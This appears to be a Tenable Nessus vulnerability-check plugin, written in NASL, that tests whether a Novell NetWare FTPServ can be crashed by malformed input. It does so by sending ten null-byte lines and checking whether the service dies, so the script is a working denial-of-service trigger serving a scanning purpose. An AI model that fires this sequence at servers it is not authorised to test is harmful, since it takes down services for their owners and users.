Novell NetWare FTPServ Malformed Input Remote DoS

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if(description)
{
 script_id(11614);
 script_version("1.20");
 script_bugtraq_id(7072);

 script_name(english:"Novell NetWare FTPServ Malformed Input Remote DoS");
 script_summary(english:"Attempts to crash the remote FTPd");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote FTP server is affected by a denial of service
vulnerability." );
 script_set_attribute(attribute:"description", value:
"The installed version of Novell FTPServ does not handle certain types
of input properly. An attacker can exploit this flaw to crash the FTP
service." );
 script_set_attribute(attribute:"solution", value:
"Upgrade to the latest version of Novell FTPServ." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L");
 script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
 script_set_attribute(attribute:"cvss_score_source", value:"manual");
 script_set_attribute(attribute:"cvss_score_rationale", value:"Score based on an in-depth analysis by Tenable.");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"plugin_publication_date", value: "2003/05/09");
 script_set_attribute(attribute:"plugin_modification_date", value:"2024/01/16");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 script_category(ACT_DENIAL);
 script_copyright(english:"This script is Copyright (C) 2003-2024 and is owned by Tenable, Inc. or an Affiliate thereof.");
 script_family(english:"Netware");
 script_dependencies("ftpserver_detect_type_nd_version.nasl", "ftp_anonymous.nasl");
 script_require_keys("ftp/login");
 script_require_ports("Services/ftp", 21);
 exit(0);
}

#
# The script code starts here
#
include("ftp_func.inc");


port = get_ftp_port(default: 21);

soc = open_sock_tcp(port);
if (!soc) exit(1, "Cannot connect to TCP port "+port+".");

dbg::detailed_log(name:'ftp_func', src:SCRIPT_NAME, lvl:2, msg:"Getting the FTP banner.");
r = ftp_recv_line(socket:soc);
if (!r) exit(1, "Cannot read the FTP banner on port "+port+".");
 
send(socket:soc, data: 'SYST\r\n');
r = recv_line(socket:soc, length:4096);

if ("NETWARE" >!< r) exit(0, "The FTP server on port "+port+" is not Netware.");

for (i = 0; i < 10; i ++)
  send(socket:soc, data: '\0\r\n');
close(soc);
  
sleep(1);
soc = open_sock_tcp(port);
if (! soc)
{
  if (service_is_dead(port: port) <= 0)	# Alive or timeout
    exit(1, "Could not reconnect to port "+port+".");
  security_warning(port);
  exit(0);
}

if (report_paranoia < 2) exit(0);

r = ftp_recv_line(socket:soc);
if(!r)
{
  security_warning(port);
  exit(0);
}
close(soc);